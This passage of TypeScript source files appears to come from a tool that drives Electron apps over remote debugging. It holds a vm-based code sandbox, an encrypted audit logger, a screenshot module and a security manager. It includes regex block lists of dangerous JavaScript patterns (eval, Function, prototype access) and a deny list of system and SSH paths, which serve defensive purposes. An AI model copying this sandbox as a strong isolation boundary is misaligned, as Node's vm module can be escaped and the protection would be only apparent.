/process\./g, 161 | /global\./g, 162 | /this\.constructor/g, 163 | /\[\s*['"`]constructor['"`]\s*\]/g, 164 | /\[\s*['"`]__proto__['"`]\s*\]/g, 165 | /Function\s*\(/g, 166 | /eval\s*\(/g, 167 | /window\./g, 168 | /document\./g, 169 | /location\./g, 170 | /history\./g, 171 | /navigator\./g, 172 | /alert\s*\(/g, 173 | /confirm\s*\(/g, 174 | /prompt\s*\(/g, 175 | ]; 176 | 177 | for (const pattern of dangerousPatterns) { 178 | if (pattern.test(code)) { 179 | errors.push(`Dangerous pattern detected: ${pattern.source}`); 180 | } 181 | } 182 | 183 | return { 184 | isValid: errors.length === 0, 185 | errors, 186 | }; 187 | } 188 | 189 | private async executeInIsolation(code: string, sessionId: string): Promise<any> { 190 | // Create a secure wrapper script 191 | const wrapperCode = this.createSecureWrapper(code); 192 | 193 | // Write to temporary file 194 | const tempDir = join(process.cwd(), 'temp', sessionId); 195 | await fs.mkdir(tempDir, { recursive: true }); 196 | const scriptPath = join(tempDir, 'script.cjs'); // Use .cjs for CommonJS 197 | 198 | try { 199 | await fs.writeFile(scriptPath, wrapperCode); 200 | 201 | // Execute in isolated Node.js process 202 | const result = await this.executeInProcess(scriptPath); 203 | 204 | return result; 205 | } finally { 206 | // Cleanup 207 | try { 208 | await fs.unlink(scriptPath); 209 | await fs.rm(tempDir, { recursive: true, force: true }); 210 | 211 | // Also try to clean up the parent temp directory if it's empty 212 | try { 213 | const parentTempDir = join(process.cwd(), 'temp'); 214 | await fs.rmdir(parentTempDir); 215 | } catch { 216 | // Ignore if not empty or doesn't exist 217 | } 218 | } catch (cleanupError) { 219 | logger.warn(`Failed to cleanup temp files for session ${sessionId}:`, cleanupError); 220 | } 221 | } 222 | } 223 | 224 | private createSecureWrapper(userCode: string): string { 225 | return ` 226 | "use strict"; 227 | 228 | const vm = require('vm'); 229 | 230 | // Create isolated context 231 | const originalProcess = process; 232 | const originalConsole = console; 233 | 234 | // Create safe console 235 | const safeConsole = { 236 | log: (...args) => originalConsole.log('[SANDBOX]', ...args), 237 | error: (...args) => originalConsole.error('[SANDBOX]', ...args), 238 | warn: (...args) => originalConsole.warn('[SANDBOX]', ...args), 239 | info: (...args) => originalConsole.info('[SANDBOX]', ...args), 240 | debug: (...args) => originalConsole.debug('[SANDBOX]', ...args) 241 | }; 242 | 243 | // Create a secure context with only safe globals 244 | const sandboxContext = vm.createContext({ 245 | console: safeConsole, 246 | Math: Math, 247 | Date: Date, 248 | JSON: JSON, 249 | parseInt: parseInt, 250 | parseFloat: parseFloat, 251 | isNaN: isNaN, 252 | isFinite: isFinite, 253 | String: String, 254 | Number: Number, 255 | Boolean: Boolean, 256 | Array: Array, 257 | Object: Object, 258 | RegExp: RegExp, 259 | Error: Error, 260 | TypeError: TypeError, 261 | RangeError: RangeError, 262 | SyntaxError: SyntaxError, 263 | // Provide a safe setTimeout that's actually synchronous for safety 264 | setTimeout: (fn, delay) => { 265 | if (typeof fn === 'function' && delay === 0) { 266 | return fn(); 267 | } 268 | throw new Error('setTimeout not available in sandbox'); 269 | } 270 | }); 271 | 272 | try { 273 | // Execute user code in isolated VM context 274 | const result = vm.runInContext(${JSON.stringify(userCode)}, sandboxContext, { 275 | timeout: 5000, // 5 second timeout 276 | displayErrors: true, 277 | breakOnSigint: true 278 | }); 279 | 280 | // Send result back 281 | originalProcess.stdout.write(JSON.stringify({ 282 | success: true, 283 | result: result 284 | })); 285 | } catch (error) { 286 | originalProcess.stdout.write(JSON.stringify({ 287 | success: false, 288 | error: error.message, 289 | stack: error.stack 290 | })); 291 | } 292 | `; 293 | } 294 | 295 | private executeInProcess(scriptPath: string): Promise<any> { 296 | return new Promise((resolve, reject) => { 297 | const child = spawn('node', [scriptPath], { 298 | stdio: ['ignore', 'pipe', 'pipe'], 299 | timeout: this.options.timeout, 300 | }); 301 | 302 | let stdout = ''; 303 | let stderr = ''; 304 | 305 | child.stdout.on('data', (data) => { 306 | stdout += data.toString(); 307 | }); 308 | 309 | child.stderr.on('data', (data) => { 310 | stderr += data.toString(); 311 | }); 312 | 313 | child.on('close', (code) => { 314 | if (code === 0) { 315 | try { 316 | const result = JSON.parse(stdout); 317 | if (result.success) { 318 | resolve(result.result); 319 | } else { 320 | reject(new Error(result.error)); 321 | } 322 | } catch (parseError) { 323 | reject(new Error(`Failed to parse execution result: ${parseError}`)); 324 | } 325 | } else { 326 | reject(new Error(`Process exited with code ${code}: ${stderr}`)); 327 | } 328 | }); 329 | 330 | child.on('error', (error) => { 331 | reject(error); 332 | }); 333 | }); 334 | } 335 | } 336 | ``` -------------------------------------------------------------------------------- /src/security/audit.ts: -------------------------------------------------------------------------------- ```typescript 1 | import { promises as fs, mkdirSync, writeFileSync, chmodSync, readFileSync } from 'fs'; 2 | import { join } from 'path'; 3 | import { createHash, randomBytes, createCipheriv, createDecipheriv } from 'crypto'; 4 | import { logger } from '../utils/logger'; 5 | 6 | export interface AuditLogEntry { 7 | timestamp: string; 8 | sessionId: string; 9 | action: string; 10 | command?: string; 11 | riskLevel: 'low' | 'medium' | 'high' | 'critical'; 12 | success: boolean; 13 | error?: string; 14 | executionTime: number; 15 | sourceIP?: string; 16 | userAgent?: string; 17 | } 18 | 19 | export interface SecurityMetrics { 20 | totalRequests: number; 21 | blockedRequests: number; 22 | highRiskRequests: number; 23 | criticalRiskRequests: number; 24 | averageExecutionTime: number; 25 | topCommands: { command: string; count: number }[]; 26 | errorRate: number; 27 | } 28 | 29 | export class SecurityLogger { 30 | private logDir: string; 31 | private encryptionKey: Buffer; 32 | 33 | constructor(logDir: string = 'logs/security') { 34 | this.logDir = logDir; 35 | this.encryptionKey = this.getOrCreateEncryptionKey(); 36 | // Note: ensureLogDirectory is called in logSecurityEvent to handle async properly 37 | } 38 | 39 | async logSecurityEvent(entry: AuditLogEntry): Promise<void> { 40 | try { 41 | // Ensure directory exists before writing 42 | await this.ensureLogDirectory(); 43 | 44 | const logFile = this.getLogFilePath(new Date()); 45 | const encryptedEntry = this.encryptLogEntry(entry); 46 | const logLine = JSON.stringify(encryptedEntry) + '\n'; 47 | 48 | await fs.appendFile(logFile, logLine, 'utf8'); 49 | 50 | // Also log to console for immediate monitoring 51 | const logLevel = this.getLogLevel(entry.riskLevel); 52 | logger[logLevel]( 53 | `Security Event [${entry.action}]: ${entry.success ? 'SUCCESS' : 'BLOCKED'}`, 54 | { 55 | sessionId: entry.sessionId, 56 | riskLevel: entry.riskLevel, 57 | executionTime: entry.executionTime, 58 | }, 59 | ); 60 | } catch (error) { 61 | logger.error('Failed to write security log:', error); 62 | } 63 | } 64 | 65 | async getSecurityMetrics(since?: Date): Promise<SecurityMetrics> { 66 | try { 67 | const entries = await this.readLogEntries(since); 68 | 69 | const totalRequests = entries.length; 70 | const blockedRequests = entries.filter((e) => !e.success).length; 71 | const highRiskRequests = entries.filter((e) => e.riskLevel === 'high').length; 72 | const criticalRiskRequests = entries.filter((e) => e.riskLevel === 'critical').length; 73 | 74 | const totalExecutionTime = entries.reduce((sum, e) => sum + e.executionTime, 0); 75 | const averageExecutionTime = totalRequests > 0 ? totalExecutionTime / totalRequests : 0; 76 | 77 | const commandCounts = new Map<string, number>(); 78 | entries.forEach((e) => { 79 | if (e.command) { 80 | const truncated = e.command.substring(0, 50); 81 | commandCounts.set(truncated, (commandCounts.get(truncated) || 0) + 1); 82 | } 83 | }); 84 | 85 | const topCommands = Array.from(commandCounts.entries()) 86 | .sort((a, b) => b[1] - a[1]) 87 | .slice(0, 10) 88 | .map(([command, count]) => ({ command, count })); 89 | 90 | const errorRate = totalRequests > 0 ? blockedRequests / totalRequests : 0; 91 | 92 | return { 93 | totalRequests, 94 | blockedRequests, 95 | highRiskRequests, 96 | criticalRiskRequests, 97 | averageExecutionTime, 98 | topCommands, 99 | errorRate, 100 | }; 101 | } catch (error) { 102 | logger.error('Failed to generate security metrics:', error); 103 | throw error; 104 | } 105 | } 106 | 107 | async searchLogs(criteria: { 108 | action?: string; 109 | riskLevel?: string; 110 | since?: Date; 111 | until?: Date; 112 | limit?: number; 113 | }): Promise<AuditLogEntry[]> { 114 | try { 115 | const entries = await this.readLogEntries(criteria.since, criteria.until); 116 | 117 | let filtered = entries; 118 | 119 | if (criteria.action) { 120 | filtered = filtered.filter((e) => e.action === criteria.action); 121 | } 122 | 123 | if (criteria.riskLevel) { 124 | filtered = filtered.filter((e) => e.riskLevel === criteria.riskLevel); 125 | } 126 | 127 | if (criteria.limit) { 128 | filtered = filtered.slice(0, criteria.limit); 129 | } 130 | 131 | return filtered; 132 | } catch (error) { 133 | logger.error('Failed to search security logs:', error); 134 | throw error; 135 | } 136 | } 137 | 138 | private async ensureLogDirectory(): Promise<void> { 139 | try { 140 | await fs.mkdir(this.logDir, { recursive: true }); 141 | } catch (error) { 142 | logger.error('Failed to create log directory:', error); 143 | } 144 | } 145 | 146 | private getOrCreateEncryptionKey(): Buffer { 147 | const keyPath = join(this.logDir, '.security-key'); 148 | 149 | try { 150 | // Try to read existing key 151 | const keyData = readFileSync(keyPath); 152 | return Buffer.from(keyData); 153 | } catch { 154 | // Generate new key 155 | const key = randomBytes(32); 156 | try { 157 | // Ensure directory exists before writing key 158 | mkdirSync(this.logDir, { recursive: true }); 159 | writeFileSync(keyPath, key); 160 | // Restrict permissions on the key file 161 | chmodSync(keyPath, 0o600); 162 | } catch (error) { 163 | logger.warn('Failed to save encryption key:', error); 164 | } 165 | return key; 166 | } 167 | } 168 | 169 | private encryptLogEntry(entry: AuditLogEntry): any { 170 | const sensitiveFields = ['command', 'error', 'sourceIP', 'userAgent']; 171 | const encrypted: any = { ...entry }; 172 | 173 | for (const field of sensitiveFields) { 174 | if (encrypted[field]) { 175 | const value = String(encrypted[field]); 176 | encrypted[field] = this.encryptString(value); 177 | } 178 | } 179 | 180 | return encrypted; 181 | } 182 | 183 | private encryptString(text: string): string { 184 | try { 185 | const iv = randomBytes(16); 186 | const cipher = createCipheriv('aes-256-cbc', this.encryptionKey, iv); 187 | let encrypted = cipher.update(text, 'utf8', 'hex'); 188 | encrypted += cipher.final('hex'); 189 | return iv.toString('hex') + ':' + encrypted; 190 | } catch { 191 | // Fallback to hash if encryption fails 192 | return createHash('sha256').update(text).digest('hex'); 193 | } 194 | } 195 | 196 | private decryptString(encryptedText: string): string { 197 | try { 198 | const parts = encryptedText.split(':'); 199 | if (parts.length !== 2) return '[ENCRYPTED]'; 200 | 201 | const iv = Buffer.from(parts[0], 'hex'); 202 | const encrypted = parts[1]; 203 | 204 | const decipher = createDecipheriv('aes-256-cbc', this.encryptionKey, iv); 205 | let decrypted = decipher.update(encrypted, 'hex', 'utf8'); 206 | decrypted += decipher.final('utf8'); 207 | return decrypted; 208 | } catch { 209 | return '[ENCRYPTED]'; 210 | } 211 | } 212 | 213 | private getLogFilePath(date: Date): string { 214 | const dateStr = date.toISOString().split('T')[0]; // YYYY-MM-DD 215 | return join(this.logDir, `security-${dateStr}.log`); 216 | } 217 | 218 | private getLogLevel(riskLevel: string): 'info' | 'warn' | 'error' { 219 | switch (riskLevel) { 220 | case 'critical': 221 | return 'error'; 222 | case 'high': 223 | return 'error'; 224 | case 'medium': 225 | return 'warn'; 226 | default: 227 | return 'info'; 228 | } 229 | } 230 | 231 | private async readLogEntries(since?: Date, until?: Date): Promise<AuditLogEntry[]> { 232 | const entries: AuditLogEntry[] = []; 233 | const now = new Date(); 234 | const startDate = since || new Date(now.getTime() - 30 * 24 * 60 * 60 * 1000); // 30 days ago 235 | const endDate = until || now; 236 | 237 | // Read log files for the date range 238 | const currentDate = new Date(startDate); 239 | while (currentDate <= endDate) { 240 | const logFile = this.getLogFilePath(currentDate); 241 | 242 | try { 243 | const content = await fs.readFile(logFile, 'utf8'); 244 | const lines = content.trim().split('\n'); 245 | 246 | for (const line of lines) { 247 | if (line.trim()) { 248 | try { 249 | const entry = JSON.parse(line); 250 | entries.push(this.decryptLogEntry(entry)); 251 | } catch (parseError) { 252 | logger.warn('Failed to parse log entry:', parseError); 253 | } 254 | } 255 | } 256 | } catch { 257 | // File doesn't exist or can't be read - skip silently 258 | } 259 | 260 | currentDate.setDate(currentDate.getDate() + 1); 261 | } 262 | 263 | return entries.sort( 264 | (a, b) => new Date(b.timestamp).getTime() - new Date(a.timestamp).getTime(), 265 | ); 266 | } 267 | 268 | private decryptLogEntry(entry: any): AuditLogEntry { 269 | const sensitiveFields = ['command', 'error', 'sourceIP', 'userAgent']; 270 | const decrypted = { ...entry }; 271 | 272 | for (const field of sensitiveFields) { 273 | if (decrypted[field]) { 274 | decrypted[field] = this.decryptString(decrypted[field]); 275 | } 276 | } 277 | 278 | return decrypted as AuditLogEntry; 279 | } 280 | } 281 | 282 | // Global security logger instance 283 | export const securityLogger = new SecurityLogger(); 284 | ``` -------------------------------------------------------------------------------- /src/screenshot.ts: -------------------------------------------------------------------------------- ```typescript 1 | import { chromium } from 'playwright'; 2 | import * as fs from 'fs/promises'; 3 | import { createCipheriv, randomBytes, pbkdf2Sync } from 'crypto'; 4 | import { logger } from './utils/logger'; 5 | import { scanForElectronApps } from './utils/electron-discovery'; 6 | import * as path from 'path'; 7 | 8 | // Generate a fallback encryption key if none is provided 9 | function generateFallbackKey(): string { 10 | const fallbackKey = randomBytes(32).toString('hex'); 11 | logger.warn('⚠️ SCREENSHOT_ENCRYPTION_KEY not set - using temporary key for this session'); 12 | logger.warn('⚠️ Screenshots will not be decryptable after restart!'); 13 | logger.warn('⚠️ For production use, set SCREENSHOT_ENCRYPTION_KEY environment variable'); 14 | logger.warn('⚠️ Generate a permanent key with: openssl rand -hex 32'); 15 | return fallbackKey; 16 | } 17 | 18 | // Validate and get encryption key with fallback 19 | function getEncryptionKey(): string { 20 | const key = process.env.SCREENSHOT_ENCRYPTION_KEY; 21 | 22 | if (!key) { 23 | return generateFallbackKey(); 24 | } 25 | 26 | if (key === 'default-screenshot-key-change-me') { 27 | logger.warn('⚠️ SCREENSHOT_ENCRYPTION_KEY is set to default value - using temporary key'); 28 | logger.warn('⚠️ Please set a secure key with: openssl rand -hex 32'); 29 | return generateFallbackKey(); 30 | } 31 | 32 | if (key.length < 32) { 33 | logger.warn('⚠️ SCREENSHOT_ENCRYPTION_KEY too short - using temporary key'); 34 | logger.warn('⚠️ Key must be at least 32 characters. Generate with: openssl rand -hex 32'); 35 | return generateFallbackKey(); 36 | } 37 | 38 | return key; 39 | } 40 | 41 | interface EncryptedScreenshot { 42 | encryptedData: string; 43 | iv: string; 44 | salt: string; // Add salt to be stored with encrypted data 45 | timestamp: string; 46 | } 47 | 48 | /** 49 | * Validate if a file path is safe for screenshot output 50 | */ 51 | function validateScreenshotPath(outputPath: string): boolean { 52 | if (!outputPath) return true; 53 | 54 | // Normalize the path to detect path traversal 55 | const normalizedPath = path.normalize(outputPath); 56 | 57 | // Block dangerous paths 58 | const dangerousPaths = [ 59 | '/etc/', 60 | '/sys/', 61 | '/proc/', 62 | '/dev/', 63 | '/bin/', 64 | '/sbin/', 65 | '/usr/bin/', 66 | '/usr/sbin/', 67 | '/root/', 68 | '/home/', 69 | '/.ssh/', 70 | 'C:\\Windows\\System32\\', 71 | 'C:\\Windows\\SysWOW64\\', 72 | 'C:\\Program Files\\', 73 | 'C:\\Users\\', 74 | '\\Windows\\System32\\', 75 | '\\Windows\\SysWOW64\\', 76 | '\\Program Files\\', 77 | '\\Users\\', 78 | ]; 79 | 80 | // Check for dangerous path patterns 81 | for (const dangerousPath of dangerousPaths) { 82 | if (normalizedPath.toLowerCase().includes(dangerousPath.toLowerCase())) { 83 | return false; 84 | } 85 | } 86 | 87 | // Block path traversal attempts 88 | if (normalizedPath.includes('..') || normalizedPath.includes('~')) { 89 | return false; 90 | } 91 | 92 | // Block absolute paths to system directories 93 | if (path.isAbsolute(normalizedPath)) { 94 | const absolutePath = normalizedPath.toLowerCase(); 95 | if ( 96 | absolutePath.startsWith('/etc') || 97 | absolutePath.startsWith('/sys') || 98 | absolutePath.startsWith('/proc') || 99 | absolutePath.startsWith('c:\\windows') || 100 | absolutePath.startsWith('c:\\program files') 101 | ) { 102 | return false; 103 | } 104 | } 105 | 106 | return true; 107 | } 108 | 109 | // Validate that required environment variables are set 110 | function validateEnvironmentVariables(): string { 111 | return getEncryptionKey(); 112 | } 113 | 114 | // Encrypt screenshot data for secure storage and transmission 115 | function encryptScreenshotData(buffer: Buffer): EncryptedScreenshot { 116 | try { 117 | // Get validated encryption key (with fallback) 118 | const password = validateEnvironmentVariables(); 119 | 120 | const algorithm = 'aes-256-cbc'; 121 | const iv = randomBytes(16); 122 | 123 | // Derive a proper key from the password using PBKDF2 124 | const salt = randomBytes(32); 125 | const key = pbkdf2Sync(password, salt, 100000, 32, 'sha512'); 126 | 127 | const cipher = createCipheriv(algorithm, key, iv); 128 | let encrypted = cipher.update(buffer.toString('base64'), 'utf8', 'hex'); 129 | encrypted += cipher.final('hex'); 130 | 131 | return { 132 | encryptedData: encrypted, 133 | iv: iv.toString('hex'), 134 | salt: salt.toString('hex'), // Store salt with encrypted data 135 | timestamp: new Date().toISOString(), 136 | }; 137 | } catch (error) { 138 | logger.warn('Failed to encrypt screenshot data:', error); 139 | // Fallback to base64 encoding if encryption fails 140 | return { 141 | encryptedData: buffer.toString('base64'), 142 | iv: '', 143 | salt: '', // Empty salt for fallback 144 | timestamp: new Date().toISOString(), 145 | }; 146 | } 147 | } 148 | 149 | // Helper function to take screenshot using only Playwright CDP (Chrome DevTools Protocol) 150 | export async function takeScreenshot( 151 | outputPath?: string, 152 | windowTitle?: string, 153 | ): Promise<{ 154 | filePath?: string; 155 | base64: string; 156 | data: string; 157 | error?: string; 158 | }> { 159 | // Validate output path for security 160 | if (outputPath && !validateScreenshotPath(outputPath)) { 161 | throw new Error( 162 | `Invalid output path: ${outputPath}. Path appears to target a restricted system location.`, 163 | ); 164 | } 165 | 166 | // Inform user about screenshot 167 | logger.info('📸 Taking screenshot of Electron application', { 168 | outputPath, 169 | windowTitle, 170 | timestamp: new Date().toISOString(), 171 | }); 172 | try { 173 | // Find running Electron applications 174 | const apps = await scanForElectronApps(); 175 | if (apps.length === 0) { 176 | throw new Error('No running Electron applications found with remote debugging enabled'); 177 | } 178 | 179 | // Use the first app found (or find by title if specified) 180 | let targetApp = apps[0]; 181 | if (windowTitle) { 182 | const namedApp = apps.find((app) => 183 | app.targets.some((target) => 184 | target.title?.toLowerCase().includes(windowTitle.toLowerCase()), 185 | ), 186 | ); 187 | if (namedApp) { 188 | targetApp = namedApp; 189 | } 190 | } 191 | 192 | // Connect to the Electron app's debugging port 193 | const browser = await chromium.connectOverCDP(`http://localhost:${targetApp.port}`); 194 | const contexts = browser.contexts(); 195 | 196 | if (contexts.length === 0) { 197 | throw new Error( 198 | 'No browser contexts found - make sure Electron app is running with remote debugging enabled', 199 | ); 200 | } 201 | 202 | const context = contexts[0]; 203 | const pages = context.pages(); 204 | 205 | if (pages.length === 0) { 206 | throw new Error('No pages found in the browser context'); 207 | } 208 | 209 | // Find the main application page (skip DevTools pages) 210 | let targetPage = pages[0]; 211 | for (const page of pages) { 212 | const url = page.url(); 213 | const title = await page.title().catch(() => ''); 214 | 215 | // Skip DevTools and about:blank pages 216 | if ( 217 | !url.includes('devtools://') && 218 | !url.includes('about:blank') && 219 | title && 220 | !title.includes('DevTools') 221 | ) { 222 | // If windowTitle is specified, try to match it 223 | if (windowTitle && title.toLowerCase().includes(windowTitle.toLowerCase())) { 224 | targetPage = page; 225 | break; 226 | } else if (!windowTitle) { 227 | targetPage = page; 228 | break; 229 | } 230 | } 231 | } 232 | 233 | logger.info(`Taking screenshot of page: ${targetPage.url()} (${await targetPage.title()})`); 234 | 235 | // Take screenshot as buffer (in memory) 236 | const screenshotBuffer = await targetPage.screenshot({ 237 | type: 'png', 238 | fullPage: false, 239 | }); 240 | 241 | await browser.close(); 242 | 243 | // Encrypt screenshot data for security 244 | const encryptedScreenshot = encryptScreenshotData(screenshotBuffer); 245 | 246 | // Convert buffer to base64 for transmission 247 | const base64Data = screenshotBuffer.toString('base64'); 248 | logger.info( 249 | `Screenshot captured and encrypted successfully (${screenshotBuffer.length} bytes)`, 250 | ); 251 | 252 | // If outputPath is provided, save encrypted data to file 253 | if (outputPath) { 254 | await fs.writeFile(outputPath + '.encrypted', JSON.stringify(encryptedScreenshot)); 255 | // Also save unencrypted for compatibility (in production, consider removing this) 256 | await fs.writeFile(outputPath, screenshotBuffer); 257 | return { 258 | filePath: outputPath, 259 | base64: base64Data, 260 | data: `Screenshot saved to: ${outputPath} (encrypted backup: ${outputPath}.encrypted) and returned as base64 data`, 261 | }; 262 | } else { 263 | return { 264 | base64: base64Data, 265 | data: `Screenshot captured as base64 data (${screenshotBuffer.length} bytes) - no file saved`, 266 | }; 267 | } 268 | } catch (error) { 269 | const errorMessage = error instanceof Error ? error.message : String(error); 270 | throw new Error( 271 | `Screenshot failed: ${errorMessage}. Make sure the Electron app is running with remote debugging enabled (--remote-debugging-port=9222)`, 272 | ); 273 | } 274 | } 275 | ``` -------------------------------------------------------------------------------- /src/security/manager.ts: -------------------------------------------------------------------------------- ```typescript 1 | import { CodeSandbox, SandboxResult } from './sandbox'; 2 | import { InputValidator } from './validation'; 3 | import { securityLogger, AuditLogEntry } from './audit'; 4 | import { randomUUID } from 'crypto'; 5 | import { logger } from '../utils/logger'; 6 | import { SecurityLevel, getSecurityConfig, getDefaultSecurityLevel } from './config'; 7 | 8 | export interface SecurityConfig { 9 | enableSandbox: boolean; 10 | enableInputValidation: boolean; 11 | enableAuditLog: boolean; 12 | enableScreenshotEncryption: boolean; 13 | defaultRiskThreshold: 'low' | 'medium' | 'high' | 'critical'; 14 | sandboxTimeout: number; 15 | maxExecutionTime: number; 16 | } 17 | 18 | export interface SecureExecutionContext { 19 | command: string; 20 | args?: any; 21 | sourceIP?: string; 22 | userAgent?: string; 23 | operationType: 'command' | 'screenshot' | 'logs' | 'window_info'; 24 | } 25 | 26 | export interface SecureExecutionResult { 27 | success: boolean; 28 | result?: any; 29 | error?: string; 30 | executionTime: number; 31 | riskLevel: 'low' | 'medium' | 'high' | 'critical'; 32 | blocked: boolean; 33 | sessionId: string; 34 | } 35 | 36 | export class SecurityManager { 37 | private config: SecurityConfig; 38 | private sandbox: CodeSandbox; 39 | private securityLevel: SecurityLevel; 40 | private sandboxCache = new Map<string, boolean>(); 41 | 42 | constructor(config: Partial<SecurityConfig> = {}, securityLevel?: SecurityLevel) { 43 | this.securityLevel = securityLevel || getDefaultSecurityLevel(); 44 | const defaultConfig = getSecurityConfig(this.securityLevel); 45 | 46 | this.config = { 47 | enableSandbox: true, 48 | enableInputValidation: true, 49 | enableAuditLog: true, 50 | enableScreenshotEncryption: true, 51 | defaultRiskThreshold: 'medium', 52 | sandboxTimeout: 5000, 53 | maxExecutionTime: 30000, 54 | ...defaultConfig, 55 | ...config, 56 | }; 57 | 58 | // Set the security level in the validator 59 | InputValidator.setSecurityLevel(this.securityLevel); 60 | 61 | this.sandbox = new CodeSandbox({ 62 | timeout: this.config.sandboxTimeout, 63 | maxMemory: 50 * 1024 * 1024, // 50MB 64 | }); 65 | 66 | logger.info('Security Manager initialized with config:', { 67 | ...this.config, 68 | securityLevel: this.securityLevel, 69 | }); 70 | } 71 | 72 | setSecurityLevel(level: SecurityLevel) { 73 | this.securityLevel = level; 74 | InputValidator.setSecurityLevel(level); 75 | 76 | // Update config based on new security level 77 | const newConfig = getSecurityConfig(level); 78 | this.config = { ...this.config, ...newConfig }; 79 | 80 | logger.info(`Security level updated to: ${level}`); 81 | } 82 | 83 | getSecurityLevel(): SecurityLevel { 84 | return this.securityLevel; 85 | } 86 | 87 | async executeSecurely(context: SecureExecutionContext): Promise<SecureExecutionResult> { 88 | const sessionId = randomUUID(); 89 | const startTime = Date.now(); 90 | 91 | logger.info(`Secure execution started [${sessionId}]`, { 92 | command: context.command.substring(0, 100), 93 | operationType: context.operationType, 94 | }); 95 | 96 | try { 97 | // Step 1: Input Validation 98 | const validation = InputValidator.validateCommand({ 99 | command: context.command, 100 | args: context.args, 101 | }); 102 | 103 | if (!validation.isValid) { 104 | const reason = `Input validation failed: ${validation.errors.join(', ')}`; 105 | return this.createBlockedResult(sessionId, startTime, reason, validation.riskLevel); 106 | } 107 | 108 | // Step 2: Risk Assessment 109 | if ( 110 | validation.riskLevel === 'critical' || 111 | (this.config.defaultRiskThreshold === 'high' && validation.riskLevel === 'high') 112 | ) { 113 | const reason = `Risk level too high: ${validation.riskLevel}`; 114 | return this.createBlockedResult(sessionId, startTime, reason, validation.riskLevel); 115 | } 116 | 117 | // Step 3: Sandboxed Execution (for JavaScript code execution only, not command dispatch) 118 | let executionResult: SandboxResult; 119 | if ( 120 | context.operationType === 'command' && 121 | this.config.enableSandbox && 122 | this.shouldSandboxCommand(context.command) 123 | ) { 124 | // Only sandbox if this looks like actual JavaScript code, not a command name 125 | executionResult = await this.sandbox.executeCode(validation.sanitizedInput.command); 126 | } else { 127 | // For command names (like 'click_by_text') and other operations, skip sandbox 128 | // The actual JavaScript generation and execution happens in the enhanced commands 129 | executionResult = { 130 | success: true, 131 | result: validation.sanitizedInput.command, 132 | executionTime: 0, 133 | }; 134 | } 135 | 136 | // Step 4: Create result 137 | const result: SecureExecutionResult = { 138 | success: executionResult.success, 139 | result: executionResult.result, 140 | error: executionResult.error, 141 | executionTime: Date.now() - startTime, 142 | riskLevel: validation.riskLevel, 143 | blocked: false, 144 | sessionId, 145 | }; 146 | 147 | // Step 5: Audit Logging 148 | if (this.config.enableAuditLog) { 149 | await this.logSecurityEvent(context, result); 150 | } 151 | 152 | logger.info(`Secure execution completed [${sessionId}]`, { 153 | success: result.success, 154 | executionTime: result.executionTime, 155 | riskLevel: result.riskLevel, 156 | }); 157 | 158 | return result; 159 | } catch (error) { 160 | const result: SecureExecutionResult = { 161 | success: false, 162 | error: error instanceof Error ? error.message : String(error), 163 | executionTime: Date.now() - startTime, 164 | riskLevel: 'high', 165 | blocked: false, 166 | sessionId, 167 | }; 168 | 169 | if (this.config.enableAuditLog) { 170 | await this.logSecurityEvent(context, result); 171 | } 172 | 173 | logger.error(`Secure execution failed [${sessionId}]:`, error); 174 | return result; 175 | } 176 | } 177 | 178 | updateConfig(newConfig: Partial<SecurityConfig>): void { 179 | this.config = { ...this.config, ...newConfig }; 180 | logger.info('Security configuration updated:', newConfig); 181 | } 182 | 183 | getConfig(): SecurityConfig { 184 | return { ...this.config }; 185 | } 186 | 187 | // Private helper methods 188 | private createBlockedResult( 189 | sessionId: string, 190 | startTime: number, 191 | reason: string, 192 | riskLevel: 'low' | 'medium' | 'high' | 'critical', 193 | ): SecureExecutionResult { 194 | return { 195 | success: false, 196 | error: reason, 197 | executionTime: Date.now() - startTime, 198 | riskLevel, 199 | blocked: true, 200 | sessionId, 201 | }; 202 | } 203 | 204 | private async logSecurityEvent( 205 | context: SecureExecutionContext, 206 | result: SecureExecutionResult, 207 | ): Promise<void> { 208 | const logEntry: AuditLogEntry = { 209 | timestamp: new Date().toISOString(), 210 | sessionId: result.sessionId, 211 | action: context.operationType, 212 | command: context.command, 213 | riskLevel: result.riskLevel, 214 | success: result.success, 215 | error: result.error, 216 | executionTime: result.executionTime, 217 | sourceIP: context.sourceIP, 218 | userAgent: context.userAgent, 219 | }; 220 | 221 | await securityLogger.logSecurityEvent(logEntry); 222 | } 223 | 224 | /** 225 | * Determines if a command should be executed in a sandbox 226 | * @param command The command to check 227 | * @returns true if the command should be sandboxed 228 | */ 229 | shouldSandboxCommand(command: string): boolean { 230 | // Check cache first for performance 231 | if (this.sandboxCache.has(command)) { 232 | return this.sandboxCache.get(command)!; 233 | } 234 | 235 | const result = this._shouldSandboxCommand(command); 236 | 237 | // Cache result (limit cache size to prevent memory leaks) 238 | if (this.sandboxCache.size < 1000) { 239 | this.sandboxCache.set(command, result); 240 | } 241 | 242 | return result; 243 | } 244 | 245 | /** 246 | * Internal method to determine if a command should be sandboxed 247 | */ 248 | private _shouldSandboxCommand(command: string): boolean { 249 | // Skip sandboxing for simple command names (like MCP tool names) 250 | if (this.isSimpleCommandName(command)) { 251 | return false; 252 | } 253 | 254 | // Sandbox if it looks like JavaScript code 255 | const jsIndicators = [ 256 | '(', // Function calls 257 | 'document.', // DOM access 258 | 'window.', // Window object access 259 | 'const ', // Variable declarations 260 | 'let ', // Variable declarations 261 | 'var ', // Variable declarations 262 | 'function', // Function definitions 263 | '=>', // Arrow functions 264 | 'eval(', // Direct eval calls 265 | 'new ', // Object instantiation 266 | 'this.', // Object method calls 267 | '=', // Assignments (but not comparison) 268 | ';', // Statement separators 269 | '{', // Code blocks 270 | 'return', // Return statements 271 | ]; 272 | 273 | return jsIndicators.some((indicator) => command.includes(indicator)); 274 | } 275 | 276 | /** 277 | * Checks if a command is a simple command name (not JavaScript code) 278 | * @param command The command to check 279 | * @returns true if it's a simple command name 280 | */ 281 | private isSimpleCommandName(command: string): boolean { 282 | // Simple command names are typically: 283 | // - Single words or snake_case/kebab-case 284 | // - No spaces except between simple arguments 285 | // - No JavaScript syntax 286 | 287 | const simpleCommandPattern = /^[a-zA-Z_][a-zA-Z0-9_-]*(\s+[a-zA-Z0-9_-]+)*$/; 288 | return simpleCommandPattern.test(command.trim()); 289 | } 290 | } 291 | 292 | // Global security manager instance 293 | export const securityManager = new SecurityManager(); 294 | ```